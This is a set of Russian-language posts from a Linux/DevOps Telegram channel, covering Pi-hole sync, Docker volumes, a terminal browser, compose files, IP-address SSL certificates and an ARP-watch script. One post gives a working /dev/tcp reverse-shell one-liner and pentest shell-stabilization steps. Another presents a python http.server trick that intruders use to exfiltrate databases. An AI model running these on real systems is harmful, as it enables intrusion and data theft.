Bash Days | Linux | DevOps
23.7K subscribers
224 photos
26 videos
775 links
Авторский блог от действующего девопса

Самобытно про разработку, devops, linux, скрипты, сисадминство, техдирство и за айтишную жизу.

Автор: Роман Шубин
Реклама: @maxgrue

MAX: https://max.ru/bashdays

Курс: @tormozilla_bot
Блог: https://bashdays.ru
Download Telegram
Синхронизируем настройки Pi-Hole между инстансами.

У меня в сети живет несколько нод с pi-hole, которые раскиданы по разным устройствам (proxmox, raspberry pi и т.п.). И сразу встала необходимость, чтобы все ноды с pi-hole имели одинаковые настройки.

Pi-hole — это сетевой DNS‑фильтр и блокировщик рекламы с открытым исходным кодом. Он работает как свой DNS‑сервер, перехватывает DNS‑запросы от устройств в локальной сети и блокирует домены из списков рекламы, трекеров и вредоносных сайтов, возвращая «пустой» ответ вместо IP‑адреса рекламного ресурса.


Стратегия такая, одна нода будет master, где производятся все основное настройки, затем все эти настройки раскатываются на другие ноды (slave).

Раньше такой кейс разруливали с помощью Orbital Sync, Nebula Sync и т.п. Но одно сдохло, другое работает через хуй-пизда-копыто. Короче нужно рабочее решение.

Пишем свой велосипед

#!/usr/bin/env bash

set -euo pipefail

PRIMARY_PIH_DIR="/etc/pihole"

SECONDARY_USER="root"
SECONDARY_PIH_DIR="/etc/pihole"
SECONDARY_HOSTS=(
"192.168.10.97"
"192.168.10.98"
"192.168.10.99"
)

RSYNC_EXCLUDES=(
"--exclude=pihole-FTL.db"
"--exclude=macvendor.db"
"--exclude=*.log"
)

echo "[pihole-sync] $(date): start"

for host in "${SECONDARY_HOSTS[@]}"; do
echo "[pihole-sync] ---- host ${host} ----"

rsync -az \
"${RSYNC_EXCLUDES[@]}" \
"${PRIMARY_PIH_DIR}/" \
"${SECONDARY_USER}@${host}:${SECONDARY_PIH_DIR}/"

echo "[pihole-sync] ${host}: restart dns"
ssh "${SECONDARY_USER}@${host}" "pihole restartdns >/dev/null 2>&1" || \
echo "[pihole-sync] ${host}: FAILED to restart dns"

done

echo "[pihole-sync] $(date): done"


В SECONDARY_HOSTS забиваем айпишники slave инстансов, этакий массив. На этом настройка скрипта закончена. Весь лишний мусор вроде логов и статистики синхронизироваться не будет.

Сохраняем, чмодим, кидаем в крон (а лучше в systemd с таймерами):

Про таймеры подробно писал тут и тут.


crontab -e
*/5 * * * * /usr/local/sbin/pihole-sync.sh >> /var/log/pihole-sync.log 2>&1


Не забываем прокинуть ssh ключи с master на slave, чтобы скрипт не уперся рогом в логин и пароль.

Вроде мелочь, а полезная, да еще и на bash. Хороших тебе предстоящих выходных и береги себя!

🛠 #bash #linux #devops #selfhosting

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
532
Volume VS Bind в Docker

Сегодня рассмотрим, как и в каких случаях правильно использовать bind или volume при запуске docker контейнеров.

Пересмотрев кучу docker compose файлов, можно сделать вывод — большинство даж не понимают что они делают. Что печально, прожжённые девопс-инженеры продолжают харкодить и творить дичь. Видимо придерживаются методологии — у меня работает, остальное похуй.

Вообще есть правило:

- Если нужно редактировать файлы руками с хоста, используешь Bind Mount.

- Если данные нужны только приложению (БД, логи, кэш) используешь Volumes.

Шпаргалка, что есть что:

# Это docker volume, данные хранятся в
# /var/lib/docker/volumes/

volumes:
- nginx_data:/etc/data

# Это bind mount, данные хранятся рядом
# с файлом docker-compose.yml

volumes:
- ./data:/etc/data


Ну и никто не запрещает это совмещать, но старайся разделять. Тем более при работе с volumes, в docker есть удобные команды, ну и через midnight commander можешь физически потыкать файлы, при условии если есть рутовый доступ к файловой системе.

Самое главное не делай так:

Про этот случай я и писал в начале поста, вроде человек 20 лет отрубил в айтишке, а пишет хуйню.

volumes:
- /home/anus/conf.d:/etc/nginx/cond.f
- /home/anus/data/logs:/var/log/nginx


Тут идет жесткая привязка к путям и после запуска наступишь на грабли, либо получишь по ебалу от бедолаги который это запустит. Короче так не делай!

Я лично предпочитаю volumes и порой даже конфиги в нем храню, потому что этот volume можно легко примаунтить к любому другому контейнеру и получить доступ к этим файлам.
Банально возьмем связку nginx + php-fpm, используем один общий volume и php скрипты корректно выполняются.


Bind mount удобен при разработке и отладки. Ты монтируешь папку с исходным кодом проекта. Правишь код в IDE на хосте и изменения мгновенно подхватываются приложением внутри контейнера.

А еще есть полезный флаг: «RO», используется в ситуациях, когда тебе нужно что-бы приложение в контейнере не перезаписывало данные в примонтированном каталоге. Удобно для отладки или для каких-то ограничений.

Пример:

services:
web:
image: nginx:alpine
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
- ./logs:/var/log/nginx


При всём желании, конфиг nginx.conf нельзя модифицировать из приложения в контейнере. Это можно сделать только на хостовой машине. Второй же bind mount по умолчанию - «RW».

Ну и пожелания:

- Используйте именованные тома, вместо анонимных томов (которые выглядят как длинный хеш 4f32a...) всегда давайте томам осмысленные имена: db_data, app_uploads

- Придерживайся принципа - «Один контейнер — один вольюм». Старайтесь не монтировать один и тот же вольюм в 10 разных контейнеров на запись. Если нужно делиться данными, один контейнер должен быть «владельцем» (RW), а остальные — «потребителями» (RO).

- Бэкап: Правило «3-2-1». Volume — это не бэкап, это просто место хранения. Если ты случайно ёбнешь вольюм командой prune, данные исчезнут.

Используйте временный контейнер для создания архива:

docker run --rm -v db_data:/data -v $(pwd):/backup busybox tar cvf /backup/backup.tar /data


- Docker со временем накапливает «висячие» (dangling) вольюмы — это те, что остались от удаленных контейнеров. Периодически запускай docker volume prune. Оно удалит только те тома, которые не подключены ни к одному контейнеру (включая остановленные).

- Разницы в скорости между Bind и Volume почти нет, оба работают напрямую через ядро. Но это зависит от операционной системы, если у тебя винда и 100500 абстракций, то будут тормоза.

Вот такие пироги, если есть чё добавить, жду тебя в комментариях.

🛠 #docker #linux #devops

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
665
Ну началось…

Нашел я тебе тут новейший браузер для терминала. Причем не огрызок ебаный вроде lynx, а прям полноценный, с поддержкой графики, скриптов и со всеми современными технологиями.

Называется это чудо Brow6el, из пакетов ты его не поставишь, потому что разрабатывает его гикнутый профессор, соответственно тебе придется собрать его самому из исходников.

Благо товарищ побеспокоился об ущербных и дал нам Bash скрипты для билда.

Поехали собирать:

git clone https://codeberg.org/janantos/brow6el.git

sudo apt install build-essential cmake gitlibsixel-dev libgtk-3-dev libx11-dev libxrandr-dev libxinerama-dev libxcursor-dev libxi-dev libglib2.0-dev

cd /tmp/brow6el
chmod +x download_cef.sh
./download_cef.sh

mkdir -p build
cd build
cmake ..
make -j$(nproc)


Готово! Теперь запускаем:

cd build
./run_brow6el.sh https://linuxfactory.ru


Как это работает?

В основе лежит Chromium Embedded Framework (CEF), который рендерит страницы без графического интерфейса. Затем Brow6el преобразует полученное изображение в sixel-графику — формат, который поддерживают многие терминалы. В результате браузер выводит картинку в терминал и обновляет её в реальном времени.

Функции:

- поддержка мыши и клавиатуры
- обычный ввод и прокрутка
- вкладки
- менеджер загрузок
- система закладок
- приватный режим
- JavaScript-консоль
- внедрять скрипты по шаблону URL

Фича: ввод мыши возможен как с реальной мыши, так и через виртуальную мышь, управляемую клавиатурой, что позволяет работать даже если у тебя отсутствует мышь.

Короче забавная штука, пользоваться я этим говнищем не буду, но как концепт потыкать вполне себе достойно.


Возможно тебе сгодится для тайлинга или чего-то еще. Забирай в копилку.

🛠 #utilites #linux #terminal

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
679
Стабилизация реверс-шелла

Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.

Для начала на своей машине запускаем:

nc -lvnp 2288


Этой командой мы откроем порт 2288 на прослушивание, будем ждать входящее соединение. IP этой машины у меня 192.168.10.24.

Теперь на подопытной машине запускаем:

/bin/bash -i >& /dev/tcp/192.168.10.24/2288 0>&1


Возвращаемся на свою машину и видим, что коннект произошел:

root@n8n:~# nc -lvnp 2288
Listening on 0.0.0.0 2288
Connection received on 192.168.10.31 47504
root@onlyoffice:~#


Отлично. Пробуем нажать CTRL+L, для очистки экрана. Ага, хуй там плавал, видим только, что выводятся управляемые символы L^, аналогично не получится нажать CTRL+C и т.п.

Стабилизируем shell

script /dev/null -c /bin/bash


Отправляем консоль в бекграунд, нажимаем CTRL+Z

root@onlyoffice:~# ^Z
[1]+ Stopped nc -lvnp 2288


Возвращаемся:

stty raw -echo; fg


Нажимаем: ENTER

export TERM=xterm


На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.

Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.

Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:

- Практикуем reverse-shells
- Генератор reverse-shells

🛠 #security #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
566
Многих эта тема обошла стороной, дело привычки берет своё.

Я про docker-compose.yaml. Так вот, в современных дистрибутивах не обязательно называть так файл, достаточно обозвать его compose.yaml и всё будет работать. Но при условии если у тебя не допотопная ОС со старой версией docker’a.

Современный docker давно перешел на compose.yaml.

docker-compose — это отдельный python-инструмент
docker compose — встроенный плагин docker cli


Теперь docker в приоритете ищет файл compose.yaml и только потом старый docker-compose.yaml. И так и так все будет работать. Оно пока на это не ругается, но рано или поздно к этому придут.

Наверное ты уже замечал, что если в yaml указать version: 3.9 оно скажет — ты ебанутый? Я пожалуй это проигнорирую.

Это нужно было указывать раньше, чтобы docker понимал какие поля разрешены и как вообще интерпретировать файл. Теперь это легаси и docker автоматически определяет версию, чтобы избавиться от зоопарка версий: v2, v2, v3.7, v3.9. Получаем один формат → одна логика → меньше гемора.

Кстати аналогичная хуйня в кубере, где версию апихи указываешь в манифестах. Если ты не знаешь как с этим работать, будет тебе боль и страдания. За эту тему поговорим отдельно.


Но опять же если у тебя древняя ОС, выбора особо не будет, придется прописывать версии и поддерживать это наследие.

Пример с version или подстава. Создавалась это не для docker compose, а для docker swarm. В version:3 Docker Compose просто молча игнорировал: mem_limit, cpu_shares, cpus, restart_policy, depends_on. Не было ни ошибок, ни предупреждений. Просто ничего не происходило. Контейнер запускался, но не как ожидалось.

version: "3"
mem_limit: 512m


Хм… 512 говоришь, хуй те! Эй OOM давай к нам, у нас тут пациент!

version:3 — Swarm-спека

Ну и про yaml и yml пару строк. Можно писать так и так, оба варианта равноправны. Но всё же рекомендуется yaml, потому что это полное официальное расширение, так пишется в спецификациях и документациях. Плюсом это единый стиль Kubernetes, GitHub Actions, Helm и т.п.

На сколько помню yml пошел со старых систем, когда было ограничение в 3 символа, опять же наследие прошлого.

Возможно ошибаюсь, поправьте в комментах.

🛠 #docker #linux #devops

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
562
Как быстро скачать файл с сервера

Бывает ситуация, когда тебе нужно быстренько дернуть какой-то файл с сервера, но там нет ни nginx ни т.п. херни. Вспоминать синтаксис scp и ебаться с ключами тоже не хочется. Тем более для такой задачи ставить софт — ну такое себе.

Из ситуации можно выйти проще.

Этот способ в основном используют спец-люди, которые в результате blackbox вектора проникли на север и им нужно утащить жирненькую базу данных. Всё элементарно.


Заходим в любую папку с файлами и запускаем:

python -m http.server 2977


Если питон старый, потрёпанный и сморщенный как хуй, делаем так:

python -m SimpleHTTPServer 2977


Затем курлим файл и скачиваем его к себе на машину:

curl -O http://linuxfactory.ru:2977/bashdays_db.zip


А можем прям в браузере открыть URL и увидеть список всех файлов, кликаем мышкой и скачиваем необходимое.

Еще бывают случаи когда curl не установлен, но wget есть из коробки:

wget -O bashdays_db.zip http://linuxfactory.ru:2977/bashdays_db.zip


Ну и в конце, когда получил желаемое, не забывай остановить такой веб-сервер. Изучай!

🛠 #security #linux #tricks

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
586
Получаем SSL сертификат на IP адрес.

Вот и случилось, теперь ты можешь сгенерить валидный SSL сертификат для айпишника. Не самоподписанный, а прям настоящий от Lets Encrypt.

Не путать с mkcert, это совсем другое.


Единственный момент, такой серт будет валиден несколько дней (160 часов), поэтому придется почаще его выпускать, сейчас ставят 5 дней для обновления, как золотую середину. НЕ рекомендуется ставить 6, иначе можешь словить граблю. Вообще acme сам всё в кроне должен прописать, но это не точно.

Пока это может делать только acme, все остальные (certbot, angie) совсем скоро к этому придут.

Да, для домаших айпишников увы, такая чача не проканает, при попытке получить такой серт, получаем ошибку:

Cannot issue for \"192.168.10.91\": IP address is in a reserved address block: [RFC1918]: Private-Use"


Ну оно и логично, спецификации никто не отменял.

Я буду генерить для 178.72.129.181 на котором у меня установлен nginx. Виртуалка прерываемая, так что денег практически не жрет, для тестов в настоящем облаке — милое дело.

Приступим:

Не забудь подставить своё мыло, а то меня спамом завалит и я буду материться на кота.

curl https://get.acme.sh | sh -s email=shubkin@bashdayz.ru


Конфигурируем default в nginx:

server {
listen 80 default_server;
listen [::]:80 default_server;

server_name _;

location ~ ^/.well-known/(acme-challenge|pki-validation)/ {
add_header Content-Type text/plain;
root /var/www/letsencrypt;
}

location / {
return 301 https://$host$request_uri;
}
}


Создаем структуру папок и релоадим:

mkdir -p /var/www/letsencrypt
mkdir -p /etc/nginx/ssl
nginx -t
nginx -s reload


Выписываем пиздюлей сертификат:

acme.sh --issue --server letsencrypt -d 178.72.129.181 -w /var/www/letsencrypt --certificate-profile shortlived --days 3


Отлично, сертификат получили, устанавливаем:

acme.sh --install-cert -d 178.72.129.181 --key-file /etc/nginx/ssl/ip.key --fullchain-file /etc/nginx/ssl/ip.crt --ca-file /etc/nginx/ssl/ip.ca.crt --reloadcmd "systemctl restart nginx"


Добавляем дополнительный блок в default в nginx:

server {
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
server_name _;
return 403;
ssl_certificate /etc/nginx/ssl/ip.crt;
ssl_certificate_key /etc/nginx/ssl/ip.key;
}


Перезапускаем:

nginx -t
nginx -s reload


И радуемся, теперь у тебя есть валидный SSL на голом айпишнике:

Общее имя (ЦС)  YE1
Организация Let's Encrypt
Дата выдачи: 29 января 2026 г.
Срок действия: 5 февраля 2026 г.


Дело в шляпе, что сказать? Пиздато! Порой ОЧЕНЬ не хочется привязывать домен, чтобы обзавестись SSL сертификатом, теперь выход есть. Глядишь найдется хак, чтобы сгенерить подобное для 192.168.0.1, но наверное это из оперы моих влажных фантазий.

🛠 #linux #devops #ssl

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
1247
Я тут недавно на новогодние праздники затеял переезд на новый периметровый маршрутизатор. Раньше я использовал pfSense, но с недавнего времени он перестал обновляться. Да и скачать его проблематично. В общем решил переехать на opnSense.

🔤🔤🔤🔤🔤🔤🔤

Сразу скажу, что это уже вторая попытка. Первая попытка провалилась из-за регулярных падений и отваливая интернета.

Доходило до того, что пришлось ставить еженочную перезагрузку. Но, скорее всего это была вина не opnSense, а железа. Машина была старая, память не ECCшная. И вот теперь попытка номер два. На мой взгляд довольно успешная.

Все работает, как часы. На мой взгляд - интерфейс гораздо удобнее, чем у pfSense. Логичнее, что ли. Я не использую его на всю катушку - так, несколько WAN, LAN, DMZ и WI_FI. Все разведено физически, без VLAN.

Единственный затык был с настройкой DHCP. Я так и не понял, зачем туда воткнули три DHCP сервера (Dnsmasq, ISC DHCP, KEA DHCP) Может старшие товарищи объяснят. Немного пободавшись, я решил использовать Dnsmasq.

В общем, переезд прошел удачно. opnSense понравился. На мой взгляд, вполне можно использовать так замену pfSense.

Как установить arpwatch я не нашел, поэтому по традиции написал простенький csh-скрипт для оповещения появления в сети новых связок IP+mac.

Но это в следующий раз. Всем стабильных сетей.

🛠 #networks #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
47
В общем, поставил я себе opnSense и захотелось знать, не гуляют ли у меня в сети какие-нибудь «призраки». Решил написать скрипт для контроля связки IP-mac.

🔤🔤🔤🔤🔤🔤🔤

Первая часть тут: https://xn--r1a.website/bashdays/1356


У меня три подсети 192.168.0.0 = DMZ 192.168.1.0 = LAN, 192.168.2.0 = WIFI. Что творится в сети WIFI, меня не очень интересует, поскольку доступа из неё нет не только к LAN, но и к DMZ. Поэтому наблюдать будем две последние.

И да, у меня там статика. Есть конечно и DHCP, но буквально на пару адресов, на всякий случай.
Скрипт пришлось разбить на две части, потому что у csh не очень красивые переносы очень длинных строк.

#!/bin/csh
#checkarp.sh

set dt=`date "+%s"`
set bot_id=0000000000:AAAAAAAAA1_aaaaaaaaaaaaaaaaaaaaaaa1
set chat_id=1111111111
set text="GATE: Есть изменения arp $dt"

arp -an| \
awk -v dt=$dt -f "$0.awk" /dev/stdin "$0.spr" >>"$0.spr"
if ( $status != 0 ) then

curl -s -X POST https://api.telegram.org/bot$bot_id/sendMessage \
-F chat_id="$chat_id" -F text="$text" >/dev/null

endif


Этот скрипт сравнивает значения текущих IP и mac, со значениями, сохраненными в файле checkarp.sh.spr.

Если появилась новая связка — отправляется сообщение в телеграм о ВРЕМЕНИ появления(контроля) новых данных в формате UNIXTIME, и новая связка IP-MAC сразу дописываются в справочник spr.

Сами данные в телегу не отправляются — чтобы узнать, что появилось, придется залезть на машину и посмотреть grep/tail. Сделано это специально, чтобы лишний раз не светить инфраструктуру.

Ставим его на cron */15, потому что время жизни arp 20 минут (видно из вывода arp). Работает под обычным пользователем.

#checkarp.sh.awk

/[0-9a-f]{2}(:[0-9a-f]{2}){5}/{
if(NF==3){spr[$2 " " $3]}
else{ if( NF>3 && $0~/192\.168\.[01]\./){gsub(/[()]/, "", $0); arp[$2 " " $4]}}
}
END{
ret=0
for(i in arp){
seek=0
for(j in spr){
if(i==j){
seek=1; break
}
}
if(seek==0){ret=1; print dt, i}
}
exit ret
}


Основная часть на awk.

1. Анализируем только строки, в которых есть mac.
2. Файлы справочника и вывод arp разделяем по числу полей (в справочнике их три: unixtime ip mac).
3. Из вывода arp убираем все, что не относится к подсетям DMZ и LAN.
4. Тупо сравниваем связки каждый с каждым. (осторожно на больших подсетях, поскольку N^2).
5. Если что-то нашлось - errorlevel=1.

Все можно было бы сделать быстрее и проще, но очень хотелось:

6. Отказаться от временных файлов.(в opnSense нет /dev/shm).
7. Данные дописываются в тот же справочник, из которого читаются. Это можно сделать, потому что на момент анализа (блок END) данные из справочника уже считаны и файл закрыт.

Вопросы и предложения приветствуются.

man arp awk(gawk)


В следующей статье попробую описать впечатления и с какими проблемами пришлось столкнуться.

UPD: В комментах скрипт на sh

🛠 #networks #linux

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
23
В последних двух моих статьях я рассказывал о том, как я перешел с pfSense на opnSense и попытался заменить arpwatchd самописным скриптом. Здесь я расскажу, с какими «проблемами» пришлось столкнуться.

🔤🔤🔤🔤🔤🔤🔤

Первая статья: https://xn--r1a.website/bashdays/1356
Вторая статья: https://xn--r1a.website/bashdays/1360


Началось с того, что я тупанул. Я знал, что pfSense и opnSense основаны на BSD, и знал, что обычно там отсутствует bash.

И почему-то подумал, что придется писать скрипт на csh (tsch). Я не знаю csh, но принципиальных отличий нет.

Ну, скрипт и скрипт. Небольшие отличия в синтаксисе. if и while присутствуют, значит проблем нет. Это действительно так. Самой большой проблемой стал перенос длинных строк даже в константах:

#!/bin/bash
echo '1
2
3'

#!/bin/csh
echo '1 \
2 \
3'


Это делает однострочники (в моем случае awk) крайне уродливыми. Когда скрипт уже работал, я решил проверить, какие там есть оболочки cat /etc/shells , и с изумлением обнаружил /bin/sh.

Ладно, потратил лишних пару дней, но приобрел опыт. Винить некого. Но плюс в том, что если знаешь bash - в случае крайней необходимости можешь написать скрипт и для другой оболочки.

Были небольшие затыки с программами. Вроде date, как date, но ключики немного не совпадают. Я думал там gawk, но нет, awk. (не нашел разделы BEGINFILE{...} ENDFILE{...}). Но, при большом желании можно обойтись и без них.

Что порадовало, так это наличие man в opnSense. В pfSense его не было. И это очень круто.

Очень жаль, что не нашел ramdisk /dev/shmLinux он обычно есть и под него выделено половину оперативки).

Ну, и еще одной проблемой стал редактор vi, который оказался единственным в системе!!!

ed, red, sed не в счет, хотя, если припрет... В pfSense был еще nano.

Я в последнее время использую vim (который начал изучать после рекомендаций Дмитрия Малинина здесь, на BashDays. За что ему спасибо.) Кто еще не начал - ставьте vim, и запускайте vimtutor. Этого будет достаточно, чтобы как-то работать в vi и vim.

Вывод из всего этого - nix это круто. И не важно - Linux или BSD. Они очень похожи, по крайней мере, если знаешь что-то одно - разобраться не проблема. Принципы одинаковые.

Холиваров прошу не устраивать. Просто решил поделиться опытом. Если где-то ошибся - поправьте.

🛠 #networks #linux #bash

💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Please open Telegram to view this post
VIEW IN TELEGRAM
42